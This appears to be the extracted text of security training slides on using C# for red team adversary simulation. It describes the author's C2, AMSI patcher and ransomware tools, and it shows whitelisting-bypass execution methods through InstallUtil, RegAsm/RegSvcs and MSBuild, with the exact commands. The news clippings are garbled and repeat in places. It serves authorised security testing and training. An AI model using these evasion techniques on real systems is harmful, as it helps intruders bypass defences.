


Weaponising C# (Fundamentals)

Fatih Ozavci – Managing Security Consultant



Agenda

- Threats vs Simulations
- Horizon
- Fundamentals
- Development
- Repurpose
- Improvements
- Windows API
- Evasions

Horizon - Real Life Projects

- Petaq C2 / Malware
- TA505+ Adversary Simulation Pack
- Tehsat Malware Traffic Generator

<https://github.com/fozavci>

Fatih Ozavci

- Managing Security Consultant
- Adversary Simulations and Research
- Master of Cyber Security at UNSW (ADFA)
- Security Researcher
 - Vulnerabilities: Microsoft, Cisco, SAP
- Speaker & Trainer
 - Sessions: Black Hat USA, Def Con
- Open Source Software Projects
 - Tehsat Malware Traffic Generator
 - Petaq Purple Team C2 & Malware
 - Viproj VoIP Penetration Testing Kit




Disclaimer: Trainer* is not a Developer!

* Can code some though.

Getting the Content

- Github Repository
 - <https://github.com/fozavci/WeaponisingCSharp-Fundamentals>
 - git clone <https://github.com/fozavci/WeaponisingCSharp-Fundamentals>
- Content
 - Code Samples for various levels
 - Presentation
 - C2 Commands and Sample Hello.cs (Source, Binary, DLL)
- Participate Where/When You Feel Comfortable

Threats vs Simulations



Threat Actors and Campaigns

WORLD ASIA NORTH KOREA

North Korean hackers APT38 suspected of targeting Australian banks



By Chris Zappone
Updated 4 October 2018 – 11:45pm, first published 3 October 2018 – 10:00pm

Washington: A group of North Korean hackers APT38 suspected of targeting Australian banks before covering its tracks with digital institutions.

The group, dubbed APT38, publicly stole more than \$1 billion (\$1.54 billion) from at least 10 financial institutions in the Philippines, Malaysia and the US.



Despite its leader's arrest in Spain two months ago, the group has continued to steal money from banks and financial institutions has remained active.

"Cobalt is still active: its members continue attacks on banks worldwide," said Dmitry Volkov, the Chief Technical Officer of Cobalt.

This new campaign was set in motion last week, May 23, when the company's security experts discovered one of Cobalt's phishing emails, aimed at banks in Russia and other former Soviet states.

Researchers from US-based FireEye found that Cobalt used codes and IP addresses listed in its targets' financial institutions may have been targeted.

"We have seen indications that APT38 has been targeting Australia based on a few factors including with specific banks in Australia i.e. ANZ, Westpac, Commonwealth, O'Leary said in Washington."

Business identifier codes are used to identify the communication system used by most financial institutions to facilitate payment and prevent

Cobalt Hacking Group Still Active

By Catalin Cimpanu



Despite its leader's arrest in Spain two months ago, the group has continued to steal money from banks and financial institutions has remained active.

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Campaign disguised as fake Kaspersky security alerts

According to a report that Group-IB plans to release tomorrow but shared with Bleeping Computer, this spear-phishing email was designed to look like a security alert sent out by fellow Russian cyber-security firm Kaspersky Lab.

Victims were urged to access a link to read and answer to a complaint that Kaspersky received about an alleged criminal act supposedly committed by the victim.

Business identifier codes are used to identify the communication system used by most financial institutions to facilitate payment and prevent

Silence Group is borrowing Carbanak TTPs in ongoing bank attacks

November 1, 2017 By Pierluigi Paganini

Experts say China hackers 'APT10 Group' likely behind attack on major Japanese business lobby in 2016

KYODO, STAFF REPORT

A hacking group based in China known within the cybersecurity community as the so-called APT10 Group was likely involved in a hacking incident that targeted the Japan Business Federation, also known as the Keidanren, in 2016, cybersecurity experts said Sunday.

They said the type of virus detected and servers involved in the cyberattack on Keidanren were identical to those used in past cases attributed to APT10.

A cybercrime gang called Silence targeted at least 10 banks in Russia, Armenia, and Malaysia borrowing hacking techniques from the Carbanak group.

A cybercrime gang called Silence targeted at least 10 banks in Russia, Armenia, and Malaysia borrowing hacking techniques from the Carbanak group.

The Silence gang was uncovered by researchers at Kaspersky Lab, which identified the notorious Carbanak group.

"In September 2017, we discovered a new targeted attack on Russian banks but we also found infected organizations in Armenia and Malaysia. The attackers used a persistent access to an internal banking network for a long period of time, monitoring the day to day activity on bank employees' PCs, learning how the software is being used, and then using that knowledge to start a new campaign," states the report published by Kaspersky Lab.

Jim Finkle

3 MIN READ



BOSTON (Reuters) - A North Korean hacking group known as Lazarus was likely behind a recent cyber campaign targeting organizations in 31 countries, following high-profile attacks on Bangladesh Bank, Sony and South Korea, cyber security firm Symantec Corp said on Wednesday.

Symantec said in a blog that researchers have uncovered four pieces of digital evidence suggesting the Lazarus group was behind the campaign that sought to infect victims with "loader" software used to stage attacks by installing other malicious programs.

"We are reasonably certain" Lazarus was responsible, Symantec researcher Eric Chien said in an interview.

The North Korean government has denied allegations it was involved in the hacks, which were made by officials in Washington and Seoul, as well as security firms.

JAN 14, 2019

ARTICLE HISTORY


PRINT SHARE

KEYWORDS

CHINA, HACKING, KEIDANREN, CYBERSECURITY


Threat Actors and Motives

Threats vs Simulations



Adversary Simulation Types


Automating a scenario to assess the defence controls implemented (MITRE ATT&CK)




Organisations desire to analyse their cyber defence against threat actors using different implementations of adversary simulations depending on their budgets or requirements.

What Are We Simulating, Again?

- Because, the regulation said so? (CBEST, CORIE, ICAST, MITRE)
- Security Breach Experienced
- External/Internal Red Team Exercise
- General Assessment of the Security Controls and Perimeter
- Threat Actor actively/potentially targeting the organisation
- Ransomware & Extortion
- Blockchain Mining
- Long Term Access



Operating A Full Scale Red Team Scenario



Rules of Engagement



- X No Confidential Data Extracted
- X No Memory Corruption Exploit
- Cloud Services Allowed
- X No SWIFT
- X No Mainframes
- ✓ □ Stay in for 2 Months
- ✓ □ Use Blockchain Miner and Ransomware



- Simulating Adversaries
- Techniques
 - Tactics
 - Procedures

Threats vs Simulations


Coverage: Mitre Att&ck

| Initial Access | Execution | Persistence | Privilege Escalation | Defense Evasion | Credential Access | Discovery | Lateral Movement | Collection | Command and Control | Exfiltration | Impact |
|-------------------------------------|---------------------------------------|--|--|---|---|-------------------------------------|---|--|---------------------------------------|--|--------------------------------|
| 9 techniques | 10 techniques | 18 techniques | 12 techniques | 34 techniques | 14 techniques | 24 techniques | 9 techniques | 16 techniques | 16 techniques | 9 techniques | 13 techniques |
| Drive-by Compromise | Command and Scripting Interpreter (7) | Account Manipulation (4) | Abuse Elevation Control Mechanism (4) | Abuse Elevation Control Mechanism (4) | Brute Force (4) | Account Discovery (4) | Exploitation of Remote Services | Archive Collected Data (3) | Application Layer Protocol (4) | Automated Exfiltration | Account Access Removal |
| Exploit Public-Facing Application | Exploitation for Client Execution | BITS Jobs | Access Token Manipulation (5) | Access Token Manipulation (5) | Credentials from Password Stores (3) | Application Window Discovery | Internal Spearphishing | Communication Through Removable Media | Communication Through Removable Media | Data Transfer Size Limits | Data Destruction |
| External Remote Services | Inter-Process Communication (2) | Boot or Logon Autostart Execution (11) | Boot or Logon Autostart Execution (11) | BITS Jobs | Exploitation for Credential Access | Browser Bookmark Discovery | Lateral Tool Transfer | Automated Collection | Data Encoding (2) | Exfiltration Over Alternative Protocol (3) | Data Encrypted for Impact |
| Hardware Additions | Native API | Boot or Logon Initialization Scripts (5) | Boot or Logon Initialization Scripts (5) | Deobfuscate/Decode Files or Information | Forced Authentication | Cloud Service Dashboard | Remote Service Session Hijacking (2) | Clipboard Data | Data Obfuscation (3) | Exfiltration Over C2 Channel | Data Manipulation (3) |
| Phishing (3) | Scheduled Task/Job (5) | Browser Extensions | Browser Extensions | Direct Volume Access | Input Capture (4) | Cloud Service Discovery | Data from Cloud Storage Object | Data from Cloud Storage Object | Dynamic Resolution (3) | Exfiltration Over Other Network Medium (1) | Defacement (2) |
| Replication Through Removable Media | Shared Modules | Create or Modify System Process (4) | Create or Modify System Process (4) | Execution Guardrails (1) | Man-in-the-Middle (1) | Domain Trust Discovery | Remote Services (6) | Data from Information Repositories (2) | Encrypted Channel (2) | Fallback Channels | Disk Wipe (2) |
| Supply Chain Compromise (3) | Software Deployment Tools | Compromise Client Software Binary | Event Triggered Execution (15) | Exploitation for Defense Evasion | File and Directory Permissions Modification (2) | File and Directory Discovery | Replication Through Removable Media | Data from Local System | File and Directory Discovery | Ingress Tool Transfer | Endpoint Denial of Service (4) |
| Trusted Relationship | System Services (2) | Create Account (3) | Exploitation for Privilege Escalation | Group Policy Modification | Group Policy Modification | Network Share Discovery | Software Deployment Tools | Data from Network Shared Drive | Multi-Stage Channels | Exfiltration Over Physical Medium (1) | Firmware Corruption |
| Valid Accounts (4) | User Execution (2) | Create or Modify System Process (4) | Event Triggered Execution (15) | Hide Artifacts (6) | Hijack Execution Flow (11) | Network Sniffing | Taint Shared Content | Data from Removable Media | Non-Application Layer Protocol | Non-Standard Port | Inhibit System Recovery |
| | Windows Management Instrumentation | Event Triggered Execution (15) | External Remote Services | Hijack Execution Flow (11) | Impair Defenses (6) | OS Credential Dumping (8) | Use Alternate Authentication Material (4) | Data Staged (2) | Protocol Tunneling | Protocol Tunneling | Network Denial of Service (2) |
| | | Hijack Execution Flow (11) | Hijack Execution Flow (11) | Indicator Removal on Host (6) | Indirect Command Execution | Steal Application Access Token | Peripheral Device Discovery | Email Collection (3) | Proxy (4) | Proxy (4) | Resource Hijacking |
| | | Implant Container Image | Implant Container Image | Process Injection (11) | Scheduled Task/Job (5) | Steal or Forge Kerberos Tickets (3) | Permission Groups Discovery (3) | Input Capture (4) | Remote Access Software | Remote Access Software | Service Stop |
| | | Office Application | Office Application | Office Application | Office Application | Steal Web Session Cookie | Process Discovery | Man in the Browser | | | System Shutdown/Reboot |
| | | | | | Masquerading (6) | Two-Factor | Query Registry | | | | |

<https://attack.mitre.org>



Scenarios (Ransomware)

- ✓ Mail Gateway & Controls
- ✓ Proxy & Secure Internet
- ❑ User Awareness




Scenarios (Supply Chain)

- ✓ Physical Access
- ✓ Software & Inventory Management
- ✓ Hardware Monitoring & Detection



- ✓ Cyber Response
- ✓ Lateral Movement Detection
- ✓ Data Protection Services





✓ Endpoint Detection & Response

- ✓ Vulnerability & Patch Management
- ✓ Command & Control Detection

Scenarios (Assume Breach)


- ✓ Endpoint Detection & Response
- ✓ Vulnerability & Patch Management
- ✓ Command & Control Detection



- ✓ Cyber Response
- ✓ Financial Controls
- ✓ Fraud Controls

- ✓ Cyber Response
- ✓ Lateral Movement Detection

Horizon



TA505+ Adversary Simulation Pack

- TA505 is a threat group actively targeting financial institutions, including Australia, since 2014 using custom tools (e.g. FlawedAmmeyy , ServHelper, SDBot) and offensive security tools (e.g. Cobalt Strike, TinyMet).
- They constantly changed/updated their RAT used as tradecraft. So, it's logical to assume that TA505 would start using .NET Tradecraft after Cobalt Strike received *execute-assembly* feature to run .NET assemblies with process injections.
- This adversary simulation is based on TA505 TTPs, but also additional .NET Tradecraft and custom C2 suites (e.g. Petaq C2). Therefore it's called TA505+ .

<https://github.com/fozavci/ta505plus>

Kill Chain Implementation for TA505+

Horizon



- Reconnaissance**
- Collecting Threat Intelligence
 - Tradecraft mapping for TA505



- Delivery**
- Assume Breach (User executes)
 - Delivering the Excel file via Web
 - Petaq Implant lands as stages
 - Petaq Service used for delivery



- Installation**
- Petaq Implant adds itself to Registry



- Actions on Objectives**
- .NET and PowerShell Applications
 - Ransoblin runs for ransoming files
 - Metasploit Framework used for exploits, VNC, RDP

1
2
3
4
5
6
7


Weaponization

- Preparing Excel File
- Developing Petaq Loader
- Developing Petaq AMSI Patcher
- Developing Ransoblin



Exploitation

- Excel file gets executed by User
- Petaq Loader runs AMSI patch
- Petaq Loader runs Petaq Implant



Command & Control

- Petaq Service drives Petaq Implant
- Runs .NET Applications in memory
- Forks Metasploit Framework sessions



Horizon


Applications Developed & Customised for TA505+

Horizon



Petaq Dropper

- C# Application
- Loads .NET Assemblies (Implant & AMSI patcher)
- <https://github.com/fozavci/ta505plus>




Malicious Excel File

- Excel 4.0 Macro
- Generated using ExcelIntDonut
- <https://github.com/fozavci/ta505plus>



Petaq Implant

- C# .NET 4.5 Application
- Fully featured malware, all essential features
- Runs commands, powershell, .Net, shellcode
- Links other remote implants as nested implants
- <https://github.com/fozavci/petaqc2>



Ransoblin

- C# .NET 4.5 & Core 3.1 Application
- Safer Ransomware implementation
- <https://github.com/fozavci/ransoblin>



Petaq Service

- C# .NET Core 3.1 Application
- C2 running through HTTP Websockets
- <https://github.com/fozavci/petaqc2>




Petaq AMSI Patcher

- C# .NET 2.0 Application
- Patches AMSIScanBuffer
- https://github.com/fozavci/petaq_amsi

Initial Compromise & Defence Evasion

Horizon



No Initial Windows Defender
Detection

+


Patched/Bypassed
Windows Defender

+

Fileless Malware

Internal Implant Communications

Horizon




Metasploit Framework

- Traffic tunnelling
- Exploitation
- Known attacks

Actions on Objectives

Horizon



Exercises

Discovering TA505+ Codes & Samples

15 Min

Petaq C2 and Malware


- Petaq Purple Team Command & Control Server (MIT License)
- *P'takh (petaQ) is a Klingon insult, meaning something like "weirdo"*
- *Protocols : HTTP(S), WebSocket, SMB Named Pipe, TCP, UDP*
- *Execution : CMD, .NET Assembly, Source, Shellcode Injection, PowerShell*
- *Features : WMI Lateral Movement, Nested Implant Linking, Encryption*
- *Scenario Based Automation and TTP Support*
- Petaq is suitable to interactive and scenario based exercises

<https://github.com/fozavci/ta505+>

Running Scenarios Through Petaq

Horizon

```
{  
    "threat_actor": "Demo Threat Actor!", ← Threat Actor  
    "ttps": [  
        "T1087.001",  
        "T1087.002",  
        "T1059.001",  
        "T1127.001-v2",  
        "T1041",  
        "Seatbelt",  
        "ShellcodeInvoke",  
        "InlineCSharp",  
        "T1562.004",  
        "T1047",  
        "T1571"  
    ]  
}
```



The diagram illustrates the structure of a JSON object. On the left, vertical lines represent the object's hierarchy: a top line for the outermost brace {}, followed by a line for the "threat_actor" key, another for the "ttps" key, and finally a bottom line for the inner brace {} of the "ttps" array. Two horizontal arrows point from labels on the right to specific parts of the JSON. The first arrow points from the label "Threat Actor" to the value of the "threat_actor" key. The second arrow points from the label "TTP IDs (Filenames)" to the list of strings within the "ttps" array.

Preparing TTPs for Petaq

Horizon

```
{  
    "name": "Enumerate users and groups", ← Name  
    "mitreid": "T1087.001", ← Mitre Att&ck ID  
    "description": "Getting the users and groups via net command.", ← Description  
    "instructions": [  
        "exec cmd /cnet users", ← Instructions  
        "exec cmd /cnet groups"  
    ]  
}
```

Execute
Process
Command

Upload
Download
Link
Sleep

Execute
.NET Assembly
.NET Source Code
.NET Direct

Execute
PowerShell via System
Management

Execute
Shellcode
(Raw Assembly)

Lateral
Movement
(WMI)

Use real tradecraft such as PowerUp, Mimikatz, Seatbelt, SharpMove, WMI, SC, PSExec

Preparing TTPs for Petaq


Horizon

```
{  
  {  
    "name": "Windows Management Instrumentation for Lateral Movement",  
    ...  
    {  
      "name": "Non-Standard Port",  
      "mitreid": "T1571",  
      "description": "Adversaries may communicate using a protocol and port pairing  
      that are typically not associated. For example, HTTPS over port 8088[1] or port  
      587[2] as opposed to the traditional port 443. Adversaries may make changes to  
      the standard port used by a protocol to bypass filtering or muddle analysis/  
      parsing of network data.",  
      "instructions": [  
        "link tcp://10.0.0.2/8002"  
      ]  
    }  
  }  
}
```

Exercises

Discovering Petaq C2 Code and Repository

15 Min



```
2020-8-26---17-20-38
Hosting environment: Development
Content root path: /Users/case/Documents/Research/PetProjects/petaq_videos/petaqc2_v0.2_auscert/petaqservice
Now listening on: https://0.0.0.0:443
Now listening on: http://0.0.0.0:80
Application started. Press Ctrl+C to shut down.
Petaq - Purple Team Simulation Kit
# Log file Logs/2020-8-26---17-20-38/WK4P9QQ10JW1WN8N48E.txt created.
# Registering the implant...
Implant registration for WK4P9QQ10JW1WN8N48E is done.
Links are adding to the implant...
# Log file Logs/2020-8-26---17-20-38/WNOVOD22XSS9LGWL1G7L.txt created.
# Registering the implant...
Implant registration for WNOVOD22XSS9LGWL1G7L is done.
Links are adding to the implant...
# list
Session ID          User Name        Hostname      IP Address    Status       Link URI
WNOVOD22XSS9LGWL1G7L  GALAXY\exchangeadmin  geonosis    172.16.121.137 connected   ws://172.16.121.1:80/ws
WK4P9QQ10JW1WN8N48E  GALAXY\anakin       geonosis    172.16.121.137 connected   ws://172.16.121.1:80/ws
#
```

Tehsat Malware Traffic Generator

Tehsat is developed to simulate malware communications

- Protocols Supported: HTTP, Websocket TCP, UDP
- Protocols Work in Progress: TLS Support, ICMP, DNS, DoH, Cloud Services


Horizon

Designing Malware Communications Scenario

- Creating a Profile for custom request/response/headers/beaconing
- Populating Services using Profiles
- Creating Implant(s) using Services (multiple services supported)
- Analyse the traffic

Malware Communications

Horizon



Tehsat Malware Traffic Generator

Horizon

Tehsat

- Home
- Profiles
- Services
- Implants
- Status
- Debug

Communication Profiles

Profiles are used to generate services and work as templates. They are customisable to simulate the threat actor campaigns accurately.

| Add New Profile | Import Profile | Import Profile Configuration | Export | | | | |
|-----------------|--------------------------|------------------------------|----------------|---|----------------------------------|------|-------------|
| Management | Name | TLS | Type | | IcedID and Cobalt Strike Service | True | IcedID |
| | IcedID and Cobalt Strike | False | HTTP | | TA550 Interactive Mode | True | TA550 |
| | Generic TCP | False | TCP | | Implant to Implant | True | Generic TCP |
| | TA550 | False | HTTP Websocket | 0 | TA550 Interactive Mode | | |

Profile Create

Tehsat

Tehsat is developed to simulate the Cobalt Strike implant. It can be used to analyse the Data Analysis.

Usage:

- Create a malware communication
- Create a service populated from the implants
- Create an implant for the services
- Download button in the Implants**
- Make sure the services started up correctly

Profile Name: IcedID and Cobalt Strike

Channel Type: HTTP

Profile Description: Cobalt Strike GET URI Simulation

Port: 80

Command & Control Services

Services are used to start listeners for the implants to connect. Each service may use a profile as a template to create channel options or settings. Based on the service channel and port selection, the services may share same service port.

Add New Service Import Service Import Service Configuration Export

Management Name Status Profile

IcedID and Cobalt Strike Service True IcedID

TA550 Interactive Mode True TA550 HTTP Websocket 8002

Implant to Implant True Generic TCP TCP 8001

Implant Source Code

```
CAUTF4VC02JMWHNJ

using System;
using System.IO;
using System.Text;
using System.Text.RegularExpressions;
using System.Text.Json;
using System.Collections.Generic;
using System.Net;
using System.Net.Sockets;
using System.Net.WebSockets;
using System.Threading;
using System.Threading.Tasks;

namespace C2Gate
{
    public class Program
    {
        public static void Main()
        {

            string configurations_b64 =
"eyJXVjhTTUMONOsyMjYwNkFDIGh0dHA6Ly8xMjcuMC4wLjE6ODAvdXNlcmkPTEyJp7IkIEljoiv1Y4U01DNDdLMjI2MDZBQylsIIBST1
RPQ09MljoISFRUUClslkhPU1QiOlxMjcuMC4wLjEiLCJQT1JUljoODAiLCJDMyVSSl6lmh0dHA6Ly8xMjcuMC4wLjE6ODAvdXNlcmk
PTEyliwiSU5URVJWQUwiOlxMclslkpJVFRFUil6ljeEwlwiU0VTU0PTl9LRVkiOJTRVNTSU9OS0VZX0NPTIRFWFQlCJTRVNTSU9OX0I
WljoUoVTU0lPTkIWX0NPTRFWFQlCJSRVFVRVNUpudWxsLCJSRVFVRVNUTUVUSE9EljoirOVUliwiQklOOVJZljoirFsc2UiLCJIV
FRQSEVBREVSLuy6ImUzMD0iLCJDT09LSUVTijoZTMwPSlslkhuUVFBVQSI6lk1vemlsbGEgNS4wln0sllwOFNNQzQ3SzlyNja2QUmg";
```

Save as .NET Project **OK**

12 May 2021


32

Exercises

Demonstrating Tehsat MTG Capabilities
Discovering Tehsat MTG Code

15 Min

Fundamentals



.Net Tradecraft



Custom Actions / Encryption
Automations for Red Team
Attacking EDR/EDP/WinAPI




Mitre Att&ck Atomic Examples
Repurposing Existing Tools
Safer Malware Emulation

C#

.NET Framework

- It's on every Windows, but also Mac/Linux (.NET Core)
 - It has direct/meaningful/normal access to Win API (P/Invoke)
 - Can be loaded in several different ways as a .NET Assembly
 - Security/Sandbox Bypass examples are endless
 - Powershell to C# .NET is easy
-
- Easy to reverse, leaves logs, AMSI integrated with 4.8+, Event Tracing for Windows



CIL – Common Intermediate Language:

- Compiled code of C#, F#, VB.NET, Jscript.NET

CLR – Common Language Runtime

- Microsoft .NET Framework
- Mono Framework

Versions

- .NET v1-4.8, .NET Core v1-2, Mono Framework - **.NET 5**

➤ IL Code Generated Can be Modified During Runtime

<https://www.codeproject.com/Articles/463508/NET-CLR-Injection-Modify-IL-Code-during-Run-time>

➤ Managed/Unmanaged: Loading .NET CLR to a unmanaged process with DLL injection, then load CIL (e.g. Notepad running .NET Code)

Compile and Run

- .NET Framework is located the places under, with multiple versions
 - x86 - c:\Windows\Microsoft.NET\Framework\VERSION
 - x64 - c:\Windows\Microsoft.NET\Framework64\VERSION
 - * If you need older features such as no AMSI integration, go for older versions if the code supports.

- Parameters
 - /reference: (Used for referencing external libraries)
 - /platform: (x86, x64, anycpu)
 - /keyfile: (Key file for signing if SNK is required such as Regsvcs)

Hello!

```
using System;           ← Include a Class, easier use
namespace Application ← Define the Namespace
{
    0 references
    public static class Program ← Define a Class
    {
        0 references
        public static void Main() ← Define a Function
        {
            // It's basically System.Console.WriteLine()
            // "using System" made it easier to use
            Console.WriteLine("Hello, is it me you're looking for?"); ← Description
        }
    }
}
```

Print to the IO / Console

Indents are dead, long live the parenthesis.

String Operations

```
string s3 = "Visual C# Express";
System.Console.WriteLine(s3.Substring(7, 2));
// Output: "C#"
```

```
System.Console.WriteLine(s3.Replace("C#", "Basic"));
// Output: "Visual Basic Express"
```

```
// Index values are zero-based
int index = s3.IndexOf("C");
// index = 7
```

```
string filePath = @"C:\Users\scoleridge\Documents\";
//Output: C:\Users\scoleridge\Documents\
```

```
string text = @"My pensive SARA ! thy soft cheek reclined
    Thus on mine arm, most soothing sweet it is
    To sit beside our Cot,...";
/* Output:
My pensive SARA ! thy soft cheek reclined
    Thus on mine arm, most soothing sweet it is
    To sit beside our Cot,...*/

```

```
string quote = @"Her name was ""Sara."";
//Output: Her name was "Sara."
```

```
string columns = "Column 1\tColumn 2\tColumn 3";
//Output: Column 1      Column 2      Column 3
```

```
string rows = "Row 1\r\nRow 2\r\nRow 3";
/* Output:
Row 1
Row 2
Row 3*/

```

```
string title = @"\u201eThe \u00c6olean Harp\u201d, by Samuel Taylor Coleridge";
//Output: "The Aeolian Harp", by Samuel Taylor Coleridge
```

// The null character can be displayed and counted, like other chars.

```
string s1 = "\x0" + "abc";
string s2 = "abc" + "\x0";
// Output of the following line: * abc*
Console.WriteLine("*" + s1 + "*");
// Output of the following line: *abc *
Console.WriteLine("*" + s2 + "*");
// Output of the following line: 4
Console.WriteLine(s2.Length);
```

IF Condition

```
using System;  
0 references  
public class Program  
{  
    0 references  
    public static void Main(string[] args)  
    {  
        if (args.Length == 0) {  
            // If there is no argument, say something nice.  
            Console.WriteLine("Dude?");  
        }  
        else {  
            // we define a parameter and assign a value.  
            string parameter1 = String.Join(" ",args);  
            // print the parameter in a context.  
            Console.WriteLine("This is the parameter to write: {0}.", parameter1);  
        }  
        return;  
    }  
}
```

Getting parameters array

IF to compare the length

Print warning

Join array to a string

Switch Condition

```
switch (args[0])
{
    case "write":
        // we define a parameter and assign a value.
        string parameter1 = args[1];
        // print the parameter in a context.
        Console.WriteLine("This is the parameter to write: {0}.", parameter1);
        break;
    case "read":
        // we cast the args[1] as string
        Console.WriteLine("The TestFunction is calling with {0}.", args[1] as string);
        // Call TestFunction and pass the args[1] as string
        TestFunction(args[1] as string);
        break;
    default:
        Console.WriteLine("That's ok, let's try again");
        break;
}
```

Useful for building a menu based on console parameters.

Loop

```
using System;
namespace Application
{
    public static class Program
    {
        public static void Main()
        {
            // Loop for 0 to 10, and print loop count
            for(int i=0; i < 10; ++i)
                Console.WriteLine("Loop: {0}", i+1);

            // Loop for 0 to 5, and print loop count
            int n = 0;
            while (n < 5)
            {
                Console.WriteLine("Loop: {0}", n+1);
                n++;
            }
        }
    }
}
```

```
private static bool IsProcessOpen(string name)
{
    foreach (Process process in Process.GetProcesses())
    {
        if (process.ProcessName.Contains(name))
            return true;
    }
    return false;
}
```

For loop for each item

For loop for 10 times

While loop for 5 times

User Input, Try & Catch and Interactive Menu

```
using System;
0 references
public class Program
{
    0 references
    public static void Main()
    {
        while (true) ← While loop for the menu
        {
            Console.Write("# ");
            string userinput = Console.ReadLine(); ← Menu prompt line
            try ← Error catching
            {
                Console.WriteLine("You wrote: {0}", userinput.Substring(1,userinput.Length-1));
            }
            catch (Exception e)
            {
                Console.WriteLine("Oh snap! " + e.Message); ← Print the error if happens
            }
        }
    }
}
```

Useful when building an assessment application.

Exercises

First Steps


Hello To Run as EXE and DLL

Get Parameters from Console and Process

Run Interactive Application and Process/Print

15 Min

Development



Mitre Att&ck

ATT&CK Matrix for Enterprise

| Initial Access | Execution | Persistence | Privilege Escalation | Defense Evasion | Credential Access | Discovery | Lateral Movement | Collection | Exfiltration | Command and Control |
|-------------------------------------|-----------------------------------|----------------------------------|--|---|------------------------------------|------------------------------|-------------------------------------|------------------------------------|---|---------------------------------------|
| Drive-by Compromise | AppleScript | .bash_profile and .bashrc | Access Token Manipulation | Access Token Manipulation | Account Manipulation | Account Discovery | AppleScript | Audio Capture | Automated Exfiltration | Commonly Used Port |
| Exploit Public-Facing Application | CMSTP | Accessibility Features | Accessibility Features | BITS Jobs | Bash History | Application Window Discovery | Application Deployment Software | Automated Collection | Data Compressed | Communication Through Removable Media |
| Hardware Additions | Command-Line Interface | Account Manipulation | AppCert DLLs | <u>Binary Padding</u> | Brute Force | Browser Bookmark Discovery | Distributed Component Object Model | Clipboard Data | Data Encrypted | Connection Proxy |
| Replication Through Removable Media | Compiled HTML File | AppCert DLLs | ApplnIt DLLs | Bypass User Account Control | Credential Dumping | File and Directory Discovery | Exploitation of Remote Services | Data Staged | Data Transfer Size Limits | Custom Command and Control Protocol |
| Spearphishing Attachment | Control Panel Items | ApplnIt DLLs | Application Shimming | CMSTP | Credentials in Files | Network Service Scanning | Logon Scripts | Data from Information Repositories | Exfiltration Over Alternative Protocol | Custom Cryptographic Protocol |
| Spearphishing Link | Dynamic Data Exchange | Application Shimming | Bypass User Account Control | Clear Command History | Credentials in Registry | Network Share Discovery | Pass the Hash | Data from Local System | Exfiltration Over Command and Control Channel | Data Encoding |
| Spearphishing via Service | Execution through API | Authentication Package | DLL Search Order Hijacking | Code Signing | Exploitation for Credential Access | Network Sniffing | Pass the Ticket | Data from Network Shared Drive | Exfiltration Over Other Network Medium | Data Obfuscation |
| Supply Chain Compromise | Execution through Module Load | BITS Jobs | Dylib Hijacking | Compiled HTML File | Forced Authentication | Password Policy Discovery | Remote Desktop Protocol | Data from Removable Media | Exfiltration Over Physical Medium | Domain Fronting |
| Trusted Relationship | Exploitation for Client Execution | Bootkit | Exploitation for Privilege Escalation | Component Firmware | Hooking | Peripheral Device Discovery | Remote File Copy | Email Collection | Scheduled Transfer | Fallback Channels |
| Valid Accounts | Graphical User Interface | Browser Extensions | Extra Window Memory Injection | Component Object Model Hijacking | Input Capture | Permission Groups Discovery | Remote Services | Input Capture | | Multi-Stage Channels |
| | InstallUtil | Change Default File Association | File System Permissions Weakness | Control Panel Items | Input Prompt | Process Discovery | Replication Through Removable Media | Man in the Browser | | Multi-hop Proxy |
| | LSASS Driver | Component Firmware | Hooking | DCShadow | Kerberoasting | Query Registry | SSH Hijacking | Screen Capture | | Multiband Communication |
| | Launchctl | Component Object Model Hijacking | Image File Execution Options Injection | DLL Search Order Hijacking | Keychain | Remote System Discovery | Shared Webroot | Video Capture | | Multilayer Encryption |
| | Local Job Scheduling | Create Account | Launch Daemon | DLL Side-Loading | LLMNR/NBT-NS Poisoning | Security Software Discovery | Taint Shared Content | | | Port Knocking |
| | Mshta | DLL Search Order Hijacking | New Service | Deobfuscate/Decode Files or Information | Network Sniffing | System Information Discovery | Third-party Software | | | Remote Access Tools |

Unorthodox ways to run C# and .NET - InstallUtil

```
using System;
using System.Net;
using System.Diagnostics;
using System.Reflection;
using System.Configuration.Install;
using System.Runtime.InteropServices;
```

0 references

```
public class Program
{
    0 references
    public static void Main()
    {
        Console.WriteLine("Hey There From Main()");
    }
}
```

[System.ComponentModel.RunInstaller(true)]

0 references

```
public class Sample : System.Configuration.Install.Installer
{
    0 references
    public override void Uninstall(System.Collections.IDictionary savedState)
    {
        Console.WriteLine("Hello There From Uninstall, If you are reading this, prevention has failed.\n");
    }
}
```

InstallUtil – Override the Uninstall (T1118 by Casey Smith)

- csc /reference:System.Configuration.Install.dll /target:library /out:T1118.dll T1118.cs
- mcs /reference:System.Configuration.Install.dll /target:library /out:T1118.dll T1118.cs
- InstallUtil.exe /U /logfile= /logtoconsole=false T1118.dll

Unorthodox ways to run C# and .NET – RegASM/RegSVCS

```
using System;
using System.EnterpriseServices;
using System.Runtime.InteropServices;

namespace regsvcser
{
    0 references
    public class Bypass : ServicedComponent
    {
        0 references
        public Bypass() { Console.WriteLine("I am a basic COM Object"); }

        [ComRegisterFunction] //This executes if registration is successful
        0 references
        public static void RegisterClass ( string key )
        {
            Console.WriteLine("I shouldn't really execute");
        }

        [ComUnregisterFunction] //This executes if registration fails
        0 references
        public static void UnRegisterClass ( string key )
        {
            Console.WriteLine("I shouldn't really execute either.");
        }
    }
}
```

Regasm/Regsvcs – Override the UnRegisterClass (T1121 by Casey Smith)
csc /reference:System.EnterpriseServices.dll /target:library /out:T1121.dll T1121.cs
mcs /reference:System.EnterpriseServices.dll /target:library /out:T1121.dll T1121.cs
regasm /u T1121.dll
regsvcs /u T1121.dll *
*** Use a /keyfile:SNK for the Strong Name Key as required by Regsvcs**

Unorthodox ways to run C# and .NET – MSBuild

```

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="Hello">
    <FragmentExample />
    <ClassExample />
  </Target>
  <UsingTask
    TaskName="FragmentExample"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
    <ParameterGroup/>
    <Task>
      <Using Namespace="System" />
      <Code Type="Fragment" Language="cs">
        <![CDATA[
          Console.WriteLine("Hello From a Code Fragment");
        ]]>
      </Code>
    </Task>
  </UsingTask>
  <UsingTask
    TaskName="ClassExample"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
    <Task>
      <!-- <Reference Include="System.IO" /> Example Include -->
